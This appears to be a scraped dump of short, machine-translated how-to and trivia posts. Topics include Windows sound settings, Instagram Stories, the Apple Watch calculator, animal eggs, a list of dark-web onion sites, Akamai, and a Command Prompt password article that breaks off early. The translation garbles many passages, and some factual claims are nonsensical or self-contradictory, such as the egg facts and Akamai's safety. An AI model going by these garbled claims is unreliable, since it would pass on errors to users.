Windows 10 come with its own sound. You don't even need to use the rest of the theme (like wallpapers, colors and mouse pointer icons).\nThe easiest place to find themes with sound is in the official Microsoft archive. Navigate to the store in the browser and select With custom sounds from the menu on the left of the screen. Download the theme and double-click the file to extract it.\nAfter installing the theme on the computer, the related sound scheme will be available in the Sound Schemes drop-down menu. You can delete other parts of the theme in Settings\u0026gt; Personalization\u0026gt; Themes .\n  3. Adjust the sound for each application Volume Mixer on Windows 10 has a number of redesigns since the operating system was released in 2015. To access Volume Mixer:\nRight-click the speaker icon on the taskbar and select Open Volume Mixer :\n  Or go to Settings\u0026gt; System\u0026gt; Sound\u0026gt; Other Sound Options\u0026gt; App volume and device preferences .\n  If there are no other applications running, you will only see the slider for the speakers and the sound of the system. However, any other audio playback application will be displayed here, and you can edit individual volume levels for specific applications as a percentage of the main volume.\nIn the example below, you can see that Netflix and Chrome are also playing audio and so they appear in the Volume Mixer.\n  If you want to adjust application sounds faster with the enhanced Windows interface, you can download EarTrumpet. After installation, open and it will automatically appear in the extended taskbar tray. Right-click and drag the icon to the taskbar so the application is here permanently.\nIf you want to remove the standard speaker icon and only use EarTrumpet, right-click the taskbar and click Taskbar settings , click Turn system icons on or off and slide the Volume to off.\n4. Quickly convert audio equipment   If there are multiple audio devices, such as speakers and headphones, need to constantly switch between them, you can do this by clicking on the speaker icon on the taskbar tray, then selecting the current audio device name. and it will appear a list of other options, just click on the audio device you want to change to convert.\nIn addition, there is another way to use a free and lightweight program called Audio Switcher. With this software you can assign audio devices to any key. This way of converting audio equipment faster, especially when using a full screen application. The Playback and Recording tabs of this software will display all your tabs, right-click them to make it set to Default Device or Set Hot Key .\n5. Update the audio driver   If you have problems with audio, you should try updating the audio driver. To update, press Windows + X and click on D evice Manager , double click Audio inputs and outputs . Then find the audio device to update, right-click it and select Update driver . Click Search automatically for updated driver software and follow the instructions.\nIf this doesn't work, repeat the steps above, but click Uninstall device instead of Update . If you still can't update it, go to the manufacturer's website and get the driver directly from here.\nIf after the driver update still does not fix the audio problem, you can right-click the speaker icon on the taskbar tray and select Troubleshoot sound problems . Follow the wizard and it will automatically resolve any problems found.\nIf it still doesn't fix the audio problem, see the Windows 10 audio troubleshooting guide for more advice.\n6. Turn on the audio upgrade feature   Windows has a number of integrated audio upgrades that users can use for their playback devices. To start, right-click the speaker icon on the taskbar tray and click on Playback devices . Double-click the playback device you want to change, switch to the Enhancements tab. For this application to be applied immediately, check the Immediate mode option.\nNow, you can highlight the ability to enhance the sound you want to use, such as Virtual Surround or Loudness Equalization , if you don't know how to use it, just click on it to see the description.\nThis hidden Windows 10 feature will bring Virtual Surround sound technology 7. Adjust Equalizer audio on Windows 10 Windows 10 comes with the original audio Equalizer, although there are not many features but enough to adjust and manage audio on this operating system.\nOn the Properties window, access the Enhancements tab and select the Equalizer box. You can select the Equalizer effect from the Sound Effects Properties menu.\n  8. Use software to enhance sound for Windows 10 Sound reinforcement software allows users to increase the speaker volume above the maximum level. And this only works when the speaker manufacturer gives you proprietary software.\nThere are some free options like using Chrome Volume Booster extension, but it only works for audio on the browser, can not adjust the sound for the system.\nIn addition, you can use a paid application, Lefasoft's Sound Booster, which costs $ 19.95 for a single user license.\nWarning : Sound Booster can be used when your system sound is at 100% but the sound is very small. Too high audio settings may damage the speaker.\nMaximize the computer volume with Sound Booster 9. Other Windows 10 audio settings There are a few other audio settings that you should know. In Settings\u0026gt; System\u0026gt; Sound , you can select the output, input for the speaker, check the microphone and take troubleshooting steps.\nIn Settings\u0026gt; Ease of Access\u0026gt; Audio , you can turn on the mono input and select the audio warning display.\nAnd another tip to improve sound is to buy new speakers\n  One thing is for sure, if you want high quality audio you need a good speaker. A good speaker is not necessarily expensive, refer to the article Choosing a speaker is not easy.\nSee more:\nTrick to turn on individual tab off sounds on Chrome Fixed a bug with the speaker icon with a red X, the computer has no sound Instructions on how to change the alarm when Logoff, Logon and shutdown on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYyapZ1lmaK9s7vVnmSsp6WjsW691JqjoqypYravedaipZ2np6h6cnw%3D\n","link":"/post/how-to-manage-and-improve-sound-quality-in-windows-10/","section":"post","tags":null,"title":"How to manage and improve sound quality in Windows 10"},{"body":"For those who regularly use Snpachat application, I will definitely know My Story. And this storytelling feature is also available on Instagram, but there are more interesting and interesting features than Snapchat.\nStories are completely new features on Instagram, allowing users to use videos and images to link together to form a certain story. We can completely edit our story from the pictures, or videos. And can post pictures continuously during the day. After 24 hours, photos and videos will disappear from the story without any deletion. Join the Network Administrator to tell your story with the Stories feature in the article below.\nVideo tutorials creating Instagram Stories 1. How to create a story on Instgram: Step 1: First of all, log in to your personal Instagram account on the device. At the main interface, click on the plus sign icon on the left corner of the screen. Immediately after that, the shooting interface will appear.\n   Step 2: Users can switch to using the front or rear camera to take photos for their stories. To take a photo, click the white round button icon . To record a video, press and hold the white button until the video clip is finished, release it.\n   Step 3: After you have finished taking photos or recording videos, we can proceed to edit images and videos.\nClick the Aa icon to insert the letter for the image. You enter the text you want to add. We can move the position of the text on the screen at will.\n    Step 4: Next, click the pencil icon to use 3 different pen types. After that, users choose for themselves a type of pencil and color to add strokes to the image. Click the circle icon next to the color palette to resize the brush stroke. You will see a white vertical bar right above. Move the white circle to increase or decrease the stroke size. To delete each stroke, click Undo .\n    Step 5: Finally click Done to save the image after editing. Click on the v in the middle to save into Stories. Click the down arrow icon to download photos to the device.\n   Step 6: Back to the main interface, you will see Your Story appears right above the top. Click to view the story that you edited yourself.\n   2. How to delete Stories on Instagram: If you don't want this story to appear on your account anymore, it's easy to delete them.\nClick on Your Story to enter the story. At the main interface, click on the 3 rightmost dots icon . The options appear, select Delete is done.\n   3. Hide Stories, restrict viewers: Users can set up who can see their stories, who can't see the story.\nStep 1:\nAt the main interface, click on the humanoid icon . In the personal account page, select the gear icon on the top right corner.\n   Step 2:\nIn the Options interface, select Story Settings . Continue to select Hide Story From . In the list of friends list, select the account you do not want to display Stories. Finally click Done to save.\n    So, you have completed the steps to create stories with Instagram's Stories feature. Each image or video will help us create an interesting story, along with the hand-drawn drawings you design. Pretty interesting right ?!\nRefer to the following articles:\nHow to permanently delete Instagram account and temporarily disable it 12 tips to make it easier for you to master Instagram How to delete a photo, or multiple photos on Instagram? Wish you fun entertainment!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVobluv9OoqaKdo2LEqsDHZqqtp6KesrR5zqdkoqajqa6ovsCm\n","link":"/post/how-to-tell-stories-with-stories-on-instagram/","section":"post","tags":null,"title":"How to tell stories with Stories on Instagram"},{"body":"Since watchOS 6, Apple Watch has included a native Calculator app, which provides some handy features to find out how much you should tip and how much each person in the group must pay if splitting the bill.\nThe steps below show you how to do that. Note that the two features can be used together, but you can also use them independently by selecting 0% tip and changing the number of people or changing the% tip and setting the People field to 1.\nHow to use the bill sharing function and tip calculation on ‌Apple Watch‌ 1. Launch the Calculator application on ‌Apple Watch‌.\n2. Enter the total amount of the invoice.\n3. Click the TIP button in the upper right corner, just to the left of the split button.\n4. With the Tip field highlighted in green, turn the watch's Digital Crown to change the percentage.\n5. To split the bill among a group of people, press People and then use the Digital Crown to change the number (up to 50 ).\n  You will see the total amount below the two fields change to reflect your tip adjustments, and the amount below will vary depending on the number of people split.\nHere's another tip: If you don't use the TIP function, you can actually change the button on your computer's layout to the standard percent ( % ) function. Just emphasize on the main computer screen and click on Tip Function or Percent.\nHope you are succesful.\nSee more:\nHow to disable the Always On screen on Apple Watch ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqqmkmal6orrDZquiqF2bwq%2Bv06Kmp2WZo3qkrcucrKWZpKS%2FbrvNZpipqJyaerit05yf\n","link":"/post/how-to-use-the-split-and-tip-function-in-calculator-on-apple-watch/","section":"post","tags":null,"title":"How to use the split and tip function in Calculator on Apple Watch"},{"body":"In the world, there are many types of egg-laying animals, and each egg has its own interesting characteristics in shape, color, size . For example, the egg of a bird living on a cliff has one pointed tip to be able to spin the circle.\nHere are interesting facts about the eggs of animals in the world.\n1. Different shapes\nDepending on the species, the eggs may be round or slightly pointed. Murre (Uria aalge) eggs often nest on narrow cliffs shaped like a pear. This special shape is because they are too heavy on one end. If you try to push the egg, it will spin in a circle, which helps avoid rolling off the narrow cliff.\n2. Colors\nEggshell comes in many different colors but the most common is white because it is composed mainly of calcium carbonate. However, some eggshell has ultraviolet color, only the birds can feel, human eyes can not recognize.\nBlue and green eggshell contains rushbird pigment. Egg shells are yellow, red, brown with spots or lines often filled with protoporphyrins.\n3. Size\nThe largest egg belongs to the elephant bird (extinct), with a length of about 28 cm. The egg, the smallest in size by a hummingbird, weighs about the size of a paper clip.\n4. Thickness of eggshell\nThe shell is thick enough to withstand the weight of the developing embryo inside and the weight of the parents during incubation. But the eggshell is also thin enough so that when the eggs hatch, young birds can escape.\nEggs of the Australian ostrich breed green eggs have a shell thickness of 0.6cm.\n  5. Metabolism with the external environment\nBird eggs can metabolize to the outside environment, such as oxygen and carbon dioxide. This is because the eggshell has a porous membrane containing small holes that allow oxygen, carbon dioxide and moisture to escape.\n6. The egg takes 24 to 26 hours to form in a hen.\n7. No need to shell eggs can hatch eggs into chicks.\n8. When laid, the egg reaches a temperature of about 40.5 ° C.\n10. Each year, the average hen lays from 250 to 270 eggs.\n11. According to the Egg Safety Center, sometimes there is blood in the yolk of the egg, which is due to broken blood vessels. The eggs are still safe.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKucrKyZo7RuwMeipaCrXZavsMHTZquhnV2atKi%2FjKidZpmenrqiuNI%3D\n","link":"/post/interesting-things-about-the-eggs-of-animals/","section":"post","tags":null,"title":"Interesting things about the eggs of animals"},{"body":"  During an excavation of an old graveyard in Burgundy-Franche-Comté, France, experts at the French National Archaeological Research Institute (INRAP) discovered many coffins. Among these are some rare lead coffins.\n  According to INRAP experts, these coffins date back to the 3rd to 5th centuries.\n  Inside the coffins contain the remains of nearly 150 people. So far, experts have not been able to identify themselves and their identities.\n  The reason is because the inside of the coffin has very few furniture buried with the dead. Therefore, experts have a lot of difficulties in understanding the life of the ancients.\n  Usually, the coffin is usually made from wood or marble, marble.\n  The finding of lead coffins at this archaeological site is extremely rare.\n  Above the coffins of lead do not have any characters or drawings.\n  Experts are now trying to decipher why the ancients buried the deceased in lead coffins heavier than coffins made from other materials.\nncG1vNJzZmismaXArq3KnmWcp51kurq%2F056poqelqHqpscCvsGaklZaxbq%2FOn52ipqNivKd506GcZpmemLamutOs\n","link":"/post/mysterious-heavy-lead-coffins-of-the-ancients/","section":"post","tags":null,"title":"Mysterious heavy lead coffins of the ancients"},{"body":"Before visiting the black site, remember to be careful when clicking on anything on deep weeb. Even doing simple things like reading a description of some pages can be troublesome for you. Please browse intentionally and don't be too curious.\nWhat is Deep Web? Where is the Deep Web? Good or bad? What is Dark Web? Who uses it? The potential dangers of Dark Web and warnings A guide to the Deep Web for newbies Hidden Wiki Onion path: http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page\nThe first time you use the Tor browser, you will not be immediately taken to any .onion site. Tor only makes accessing normal websites safer (by encryption). To go to the .onion page, you must know its address. There are several ways to find these pages and The Hidden Wiki is one of those sites where such pages are aggregated.\nInstructions for installing Tor Browser for Windows\nThe black web can remind you of the old days of the Internet, going around with page indexes. With The Hidden Wiki, you will see many links to the black web. Remember that this page is edited by the community so be careful, not everything is correct.\nTip: The Hidden Wiki is a good place to start for both novice web users and new users.\nSci-Hub Onion path: http://scihub22266oqcxt.onion/\nSci-Hub has a mission to 'liberate' all scientific knowledge from around the world. On this page, you will find about 50 million research papers and free access. As a result, even organizations and individuals without financial ability can view it. Trang was founded in 2011 by Alexandra Elbakyan from Kazakhstan.\n  The place provides many scientific research materials\nBlockchain for Bitcoin Onion path: https://blockchainbdgpzk.onion/\nIf you don't know how Bitcoin works or doesn't have any virtual currency, skip this page. But if you're interested, one of the most popular Bitcoin e-wallets also has an Onion link (and even https certificates).\nTip: If for some reason you want to keep Bitcoin anonymously, this is the place for you.\nSoylentNews Onion path: http://7rmath4ro2of2a42.onion/\nThis is a synthesis page, not only read but also discusses topics of science, politics, technology . The page is run by volunteers and also towards the community. Users can submit articles.\nSoylentNews aims to become a place for people to find news, discuss related topics without worrying about censorship. They also said that their goal is to protect freedom of speech and freedom of the press.\nTip: If you are tired of mainstream newspapers, you will probably find this page very interesting.\nProPublica Onion path: https://www.propub3r6espa33w.onion/\nProPublica is probably one of the first news sites to release a black web version from 2016.\nProPublica is a not-for-profit organization that aims to 'show abuse of power and betrayal of public trust by governments, businesses and other organizations, using the moral power of the press'. According to ProPublica, the main reason they put out the black web is for readers to browse their website anonymously.\n  A press does not censor on ProPublica\nBlack web does not mean to be a place full of evil things. If you use caution and know what you do, what to look for, you can find a lot of good content in this exciting world.\nSee more:\nIchidan is a search engine like Shodan for Dark Web The story of \"double bearer\" Sabu: Anonymous traitor, the hero of the FBI How to search the web safely (deep web)? ncG1vNJzZmismaXArq3KnmWcp51kwLa8xKtknKefoXq4scGsoK2do2KworrTZpmeZZakwq%2BwjKilZp%2BfpLStsQ%3D%3D\n","link":"/post/super-cool-websites-can-t-be-found-on-google/","section":"post","tags":null,"title":"Super cool websites can't be found on Google"},{"body":"The most common way to protect computers, laptops and a variety of other devices - mobile phones and tablets - for Windows users is now password. However, Windows 8 has come up with an extremely interesting new feature: Use an image to replace the password.\n  Now, instead of having to store complicated passwords, users can design or choose a favorite image as a password. This feature can be used on the touch screen, and can also be used with a mouse on a standard computer.\nHere are the specific steps for you to use this feature:\nUse password images First, go to Settings , and click Change PC Settings at the bottom.\n  Click User link in the list on the left and then right-click \"Create image password \". Immediately, the machine will ask for updates to your existing password, which will help prevent hackers or impostors from causing trouble on your installation. Also, no impostor can lock you out of your own account by setting up a new image password.\n  To continue, click \"Select image\" to select the image you want to use. At the suggestion of experts, you should choose a clear, defined image rather than an abstract picture that is hard to remember.\nOnce selected, click \" Use images\" and you'll be invited to redesign the gestures you want to use. You will be limited to 3 gestures, mouse click, line and circle.\n  You will have to remember exactly how you made the selected gestures. When you draw a circle, or use a straight line to connect two points on an image, you have to remember exactly where you draw, and also the direction you draw. After completing this operation, you will be asked to repeat to prove that you remember the operations you just performed. And so everything is done!\nLimited points Theoretically, using an image password is considered to be extremely safe - The user has combined numerous actions such as mouse click, straight line drawing and self-design of shapes - But is it true? it has to be like that.\nThe first thing to remember is that image passwords are actually just a form of overwriting. Setting a gesture-based password or image does not replace your existing password. When the screen is locked, the computer will make a choice to return to the original login method.\n  Image passwords do not create a layer of security, but merely a means to replace the login. So, users should note that using image passwords should only be considered an interesting login method, not something to ensure additional security.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKKkmp%2BVqHqqutKtnJqcXaSzbrzArKqwp6KZwG6%2Fx6ispZxdnnq2v8Rmq6GdnQ%3D%3D\n","link":"/post/use-images-instead-of-passwords/","section":"post","tags":null,"title":"Use images instead of passwords"},{"body":"Many air-conditioner companies have a night-time sleep mode and are currently the most common mode of use for air conditioners. Each air conditioner has a different way of operating the night sleep, but there are many benefits. In this article you will learn more about the night mode of the air conditioner like how it works and how it displays to each air conditioner carrier.\nThe effect of night mode on air conditioning\nNight mode on the air conditioner aims to save power and protect the health of users. The mechanism of operation of the night mode is to balance the ambient temperature with the body temperature from which to adjust the room temperature, bringing a pleasant feeling to the user.\nAir conditioner after a period of use especially at night will automatically increase the temperature to suit the user, then you will not be too cold if you use the air conditioner all night or until morning, without having to get up and turn off the air conditioner.\nIn addition, this mode also saves money on air conditioning and is integrated into the timer on the air conditioner. When you turn on the night mode turn off the night mode is activated.\n  Toshiba's Comfort Sleep mode Comfort Sleep mode will increase or decrease the temperature every 2 hours or a maximum of 2 degrees. Each hour the air conditioner adjusts 0.5 degrees higher than the initial on-time temperature within 4 hours, and 4 hours later it will drop 0.5 degrees per hour.\nPanasonic Sleep mode Sleep mode will decrease by 2 degrees from the initial set temperature within 3 hours and then will increase by 1 degree with the set temperature.\n  LG Sleep Timer Start Mode Sleep Timer Start mode will automatically increase or decrease by 1 degree after 30 minutes until the room temperature rises or decreases by up to 2 degrees to match the body temperature.\nSleep mode on Casper air conditioner Sleep mode will increase to 1 degree after 30 minutes or 1 hour, and the subsequent hours will continue to rise by 2 degrees and maintain at that temperature, avoiding cold at midnight.\nNight mode of Daikin After 1 hour, this mode will increase the air conditioner to 1 degree, then increase to 2 degrees and keep this level consistent with room temperature.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuvsSgoKadXaSzbrrIoJ%2BtZaOhsqa8jKilZpmZp3qku82doK2hn6Oysw%3D%3D\n","link":"/post/what-is-the-regime-of-night-sleep-on-air-conditioner/","section":"post","tags":null,"title":"What is the regime of night sleep on air conditioner?"},{"body":"The new MacBooks upgraded graphics dramatically, abandoning Intel's old-integrated chipset to come with the GPU combination \"two in an Nvidia\" GeForce 9400M and powerful 9600M GT discrete graphics card. But why need 2 graphics cards at the same time? The most notable point about the new MacBook configuration is that the graphics array has been upgraded to another level. Apple has completely abandoned Intel's slow, integrated graphics and chipset, and instead Nvidia's new chipset integrates GPU graphics processor and single-chip chipset - GeFore 9400M. Look at the integrated 2 GeFore 9400 M graphics cards and leave the GeForce 9600 M GT active at the same time giving the MacBook Pro what.  The idea that two integrated and discrete graphics cards on the same computer seem unreasonable. But no, the MacBook Pro is not the first device to have two parallel graphics cards. Previously, Nvidia's \"hybrid\" SLI for desktops did the same thing. Users can choose a less-expensive integrated graphics card when used normally and switch to a discrete card when processing video or design that requires high-end graphics power. Nvidia's \"hybrid\" SLI technology for desktops uses both discrete and integrated GPUs simultaneously while operating in turbo mode. Users can manually switch or set the automatic switch according to the power source. However, Apple's MacBook Pro only allows to select 1 of 2 manually in System Preferences, then exit and log back in is quite annoying. Time to use is really a problem for the new MacBook Pro when the integrated card 9400M for 5 hours operating time, equivalent to the previous 8600M GT card, while 9600M GT only 4 hours. Another reason for MacBook and Pro to be upgraded to a higher graphics card is by using Snow Leopard operating system, capable of handling parallel tasks and shifting workloads - not just rendering - for graphics card. Graphics cards are ideal candidates for handling parallel tasks, and the fact that graphics processors are getting closer to conventional processors. Nvidia has invested heavily in GPGPU graphics processing - taking advantage of GPU power for conventional applications instead of just graphics tasks. In fact, it has its own set of tools, called CUDA, that allow developers to leverage the power of graphics processors with the usual programming language. PhysX, the mechanism for handling physical effects in video games, must be the best known CUDA application today. CUDA version for Mac was \"released\" last August. Nvidia's graphics card also supports Apple's own graphical programming language, called OpenCL. Whoever you are, using a computer for simple purposes such as editing, surfing, Photoshop or playing games, watching and cutting video, the graphics card also plays an important role - not just for products technology in the next few years but also with the operating system of future operating systems.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdqbWmec2ermalkZivsLvKZqerp12jsqawjGtkoKqRpbWqr9JmmpqqlKg%3D\n","link":"/post/why-does-the-new-macbook-pro-need-2-graphics-cards/","section":"post","tags":null,"title":"Why does the new MacBook Pro need 2 graphics cards?"},{"body":"You may have noticed, when logging into Facebook, Twitter . or many other websites, the browser will show the connection via:\nakamai fbstatic-a.akamaihd.net akamaihd.net . So do you know what Akamai is? Why does it appear on the computer? Is it safe? Let's TipsMake.com find out about this issue offline!\n1. Akamai, Akamai NetSession Interface . What is it? When searching for information about Akamai on Google or many other Search Engine , we will get the answer, information about Akamai Technologies, Inc. is the CDN network system - Content Delivery Network , Cloud Service Provider . Understandably, Akamai is an intermediary, specializing in providing CDN solutions for users, helping website system to speed up downloading content and data.\n  2. So Akamai . is it safe? Absolutely not, you can refer to the FAQ about Akamai here. When users access Facebook, Twitter . the system will ask for the data that comes with those accounts such as photos, videos, avatars, messages, links . in short, all data relate to. And to speed up user access to Facebook's servers, the CDN solution will be deployed, Akamai will help this time period drop significantly.\nYou might wonder that Facebook's system is so terrible, so why use Akamai's CDN to do it? To answer, imagine how much data a Facebook account will have:\nAvatar. Image. Video Message. Friend. Followers. .   That's a user, and Facebook has a few hundred million users like that, at the same time, the amount of data required to handle is huge. Therefore CDN is a nearly mandatory solution.\n3. Should I remove Akamai from the computer? Besides going with Facebook and Twitter . if you install software from different sources, the downloader . will also appear Akamai's Processes in the computer. So if you do not like to use, do not like the appearance of Akamai in your computer, removing that program will not affect at all (because it is not malware).\nTo pause Akamai's services, follow the steps:\nOpen Windows Services : go to Control PanelAll Control Panel Items Administrative Tools\u0026gt; Services. Find NetSession or Akamai , press Stop . To remove Akamai then:\nGo to Control PanelAll Control Panel ItemsPrograms and Features. Find NetSession and select Uninstall . To delete the cache directory - The NetSession Cache , open:\nWindows XP : C: Documents and Settings Local SettingsApplication DataAkamai Windows Vista and above : C: Users AppDataLocalAkamai Mac OS X : / Users / / Applications / Akamai Hopefully the information provided above can help you answer some questions about the Akamai phenomenon on your computer.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxrDBjKidrZ2eYsCmsYyaopqlkZ56uLTEp2Sam5OawLS1zaBkn5mTmq%2Bwu8pmq7ChpKmys3nSqGSwoJGpeqq%2FjKKrZqGjYra1edKanZ5ln6d6r7vT\n","link":"/post/you-often-see-akamai-when-accessing-facebook-twitter-so-what-is-it-is-it-safe-or-not/","section":"post","tags":null,"title":"You often see Akamai when accessing Facebook, Twitter ... so what is it? Is it safe or not?"},{"body":" 22 photos prove human creativity is boundless 33 rare photos of very different angles of all things in the world Funny photo series in Photoshop battle of photo-making experts (Part 1) If you're always busy finding ways to solve small problems every day, see how these creators solve the difficulties they encounter. A couple of things: you will get some valuable advice and save time solving problems.\nWith just a few tips and simple tools, they can solve the headaches in life. Invite you to take a look at 25 creative actions that make your life much easier in this article!\n1. With this way, frying fish will no longer be a fear.\n © helloleauxla / twitter.com\n2. Snap the bag on your head and put on your clothes, so the makeup can't dirty your clothes.\n © _evamariie / twitter.com\n3. 'My boyfriend and I broke up after the prom, so I decided to edit the photo a bit'.\n © gabidunn99 / twitter.com\n4. Instead of setting it up, keep it horizontal and save the pen while saving space.\n © HigurashiDragon / pikabu.ru\n5. This way you can easily hold multiple bags at once.\n © enigmaxl / imgur.com\n6. Having a natural oven like this takes care of hunger.\n   © golovoeb / pikabu.ru\n7. This is how to decorate the Christmas tree of IT people.\n © kznbeard / pikabu.ru\n8. If you don't want to wash your dishes if you don't want to wash your dishes, you can make an aluminum tray to cover the dirty bowl below so that it doesn't feel uncomfortable when washing your hands.\n © tnethacker / reddit.com\n9. After eating, the dishes were clean and clean\n © ToeFungus / reddit.com\n10. \"I went to big restaurant chains and pretended to be a mysterious guest. I was well served and had food for months.\"\n © thecomic / imgur.com\n11. Not only does the bath brush work, this palm drill can do much more.\n © DingoDamp / reddit.com\n12. If you can combine two in one, what is the cost of buying an additional mixer?\n © StrictlySticky / reddit.com\n13. A cheap teddy bear can solve this problem!\n   © 3simvola / pikabu.ru\n14. 'Someone in the building wants to save electricity bills.'\n © stephen_flynn / reddit.com\n15. Convenient slide to help downstairs is fast and safe.\n © unkunked / reddit.com\n16. Is this okay?\n © misteryatoms / reddit.com\n17. Instead of leaving the old or broken microwave, you can take advantage of them as mailboxes.\n © DropkickNira / reddit.com\n18. Just made a computer tree, just made a chair!\n © ruthly / reddit.com\n19. How to wash vegetables quickly without effort.\n © trinixy.ru\n20. When the storm is coming and you don't want to be sent to the Oz floor.\n © unknown author / imgur.com\n21. Probably this is how the saints work separately during the hour.\n © farbrorgodis / reddit.com\n22. Put the Donut on the hot glass, you will have a cake that has just come out of the oven.\n © Reddit\n23. Let's use a boss temporarily!\n © vndzo.com\n24. Use bananas as iPad stands.\n © frosty374 / reddit.com\n25. Use bananas to measure the depth of the new snow!\n © Icanhazacat / imgur.com\nRefer to some more articles:\nLaughing does not shut up with 16 clones of the super-muddy saints 30+ images proving anything in life can happen Entertainment with 20+ funny photos due to the need to blink without mind Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kf3Z5wqucmqyZq7JurcKtoKimo2K6orfEZrCoraJiuaqyxGakrpuYYrKiv8ieqWasn2Kvs7HArZ%2Be\n","link":"/post/25-creative-actions-make-your-life-much-easier-to-breathe/","section":"post","tags":null,"title":"25 creative actions make your life much easier to breathe"},{"body":"The 15.6-inch model uses a Core i7-3610QM chip, Nvidia GeForce GT650M graphics card, 8GB of RAM for $ 1,300.\n  The 15.6-inch Asus N56 has an order price of $ 1,300. (Photo: Notebookcheck).\nAsus has allowed to order N56 laptop using Ivy Bridge chip in the US for $ 1,300 for a 15.6-inch model.\nAsus N56 laptop is Taiwanese manufacturer equipped with quad-core Core i7-3610QM, 15.6-inch screen with 1080p resolution, Nvidia GeForce graphics card GT650M, 8GB RAM and 750GB HDD. This product supports common connections like Wi-Fi, USB 3.0, HDMI, VGA and Bluetooth. Asus N56 15.6 inch weighs 2.72kg and 3.3cm thick. The chassis of the machine is made of aluminum while the keyboard is dust-proof.\nAccording to Notebookcheck, the Taiwanese manufacturer will offer lower-priced and cheaper N56 models in the near future. In addition, the N56 14 and 17.3 inch models can also be launched this year.\nncG1vNJzZmismaXArq3KnmWcp51krrTB0malbm5dmLWqvIyirbJlkqe2pbPEZp2oql2kv6Wx0aKloGWZo3q1tMRmrKw%3D\n","link":"/post/asus-n56-chip-ivy-bridge-for-ordering-in-the-us/","section":"post","tags":null,"title":"Asus N56 chip Ivy Bridge for ordering in the US"},{"body":"While browsing the web to search for documents or software, you will often see links that are no longer usable because the article has been created for a long time, so some links in it no longer exist. in.Therefore, Network Administrator would like to introduce to you the services and utilities to help you quickly check broken links on any website.\nHow to check your website speed fast or slow Tips to check Certificate - Is the website's security safe? The best website load testing tools available today 1. Check on the service homepage Step 1:\nTo check for broken links on the service homepage, you access the following address: https://error404.atomseo.com/\nStep 2:\nNext, in the Enter a website to check box, proceed to paste the website address and click the Check button.\n  Step 3:\nYou need to wait for a few minutes for the service to start the checkout process. Fast or slow time depends entirely on the number of links available on the website.\nThis service allows checking various types of links, including:\nLinks on your site (internal): Internal links on the site. Links from your site to external resources: External links on the site. Links to your pages from external resources (backlinks): Links to your site from another website. Anchor on your web pages: Insert links below text on the web page.   Step 4:\nThe checkout process will end, you will know the number of pages the service has performed. Besides, you also see the number and percentage of broken links detected.\n  Scroll down to see the test results on each link type. Or click the See all pages report section to download and view the results in the Excel spreadsheet file format.\n2. Check with the utility on Chrome You can use the broken link check feature with extensions on Chrome. In this article, we want to introduce you to the following two utilities:\nBroken Link Checker utility: First of all, you need to install the extension called Broken Link Checker for Chrome through the link below.\nDownload the Broken Link Checker utility Next, you select Add to Chrome in turn\u0026gt; Confirm Add add-on to complete the installation process.\n  Now, to check for broken links, open the website you want. Then, click on the widget icon on the toolbar like the one below. Immediately, the utility will immediately check and display it within its pop-up interface.\n  Similarly, the Broken Link Checker utility will also list the number of links to be checked, the number of broken links found as well as the corresponding percentage. If there is a broken link, the utility will appear immediately below the pop-up interface. Click Check all pages on this site to check all pages on the open website.\n  Utility Check my links: Adding a Google Chrome extension that scans the links in a website you are viewing returns results that determine which links are still accessible, which links no longer exist. at. You can download the utility to integrate into Chrome browser here.\nAfter installation is complete, you will see a new icon appear next to Chrome's URL bar, the usage is extremely simple.\n  When browsing any website, if you want to check whether the links within that website exist, just click on this icon, the utility will immediately scan the links on the page you are viewing.\n  When the process reaches 100%, complete the scan. If the links are still active, they will be highlighted in green, otherwise if the links are no longer active, they will be reded with comments about errors such as 404.\n  You can set some URLs that do not belong to the utility's scans on the Options page. For ad-style URLs, it is not necessary to scan to avoid losing time. Right-click on the utility icon and select Options.\n  On the Option page, fill in the URLs that need to be listed as 'blacklisted' and click the Save my preferences button to save it.\n  Good luck!\nSee more:\nHow to check which computer the secret is connecting to How to access a website without an Internet connection on an Android device Check the actual status of the website when not accessible ncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkmqaUYrGmwMScq2aaoqS4prqMpaCno6NivK95wKewZq%2BVl8CqwMQ%3D\n","link":"/post/check-and-detect-broken-links-on-any-website/","section":"post","tags":null,"title":"Check and detect broken links on any website"},{"body":"Consumer lending company TitleMax has released an infographic that reveals the list of giant companies earning the most money every second today.\nUnexpectedly many people, 'giant' Apple still holds the top spot with the amount of about 1,444 USD per second, equivalent to 5.2 million USD per hour, 127 million USD per day, good 45.7 billion USD per year. This figure is given based on income data for 2016.\n  Second place went to financial firm Morgan Chase for $ 782.1 per second, about half that of Apple.\nBelow is a vivid chart of TitleMax that enables us to see the net income that Fortune 500 companies are earning every second.\n  Statistics of the amount earned per second by Apple and Fortune500 companies.(Source: TitleMax)\n The data shows Apple's massive net profit when compared to other companies.\nThese huge numbers are amazing enough for many people. In the near future Apple will soon become a multibillion-dollar company.\nThe graphic above is based on data from 2016, recently Apple announced the results of 2017. Accordingly, the company has reached 48.4 billion USD, equivalent to 1.533.17 USD per second.\nOther giant companies like JPMorgan Chase and Alphabet (Google's parent company) have yet to announce their 2017 business results, but it seems that no company can keep up with Apple.\nSee more:\nThe worst 100 Password ranking in 2017 Top 12 most dangerous backdoor in computer history ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKasnKBdoryvsdhmm6ido2KusbzLnmSemaKjeqbCxKuwZquVmLyvsIytn6KrXaPCrq7Eq2SfmaJisrmvxJ6brGWknbJutcyanqKmkam2sLqMqJ1mpZGjxm68xKinpZ0%3D\n","link":"/post/how-much-money-does-apple-earn-every-second-this-number-far-exceeds-the-imagination-of-many-people/","section":"post","tags":null,"title":"How much money does Apple earn every second? This number far exceeds the imagination of many people"},{"body":" This wikiHow teaches you how to change a PC's password from an administrator account by using Command Prompt. If you do not have administrator access to the computer you will not be able to change the password. For Mac computers, you can...\nPart 1of 2:\nOpening Command Prompt  Open your PC's Start menu. You can do this either by clicking the Windows logo in the bottom-left corner of the screen, or by pressing the ⊞ 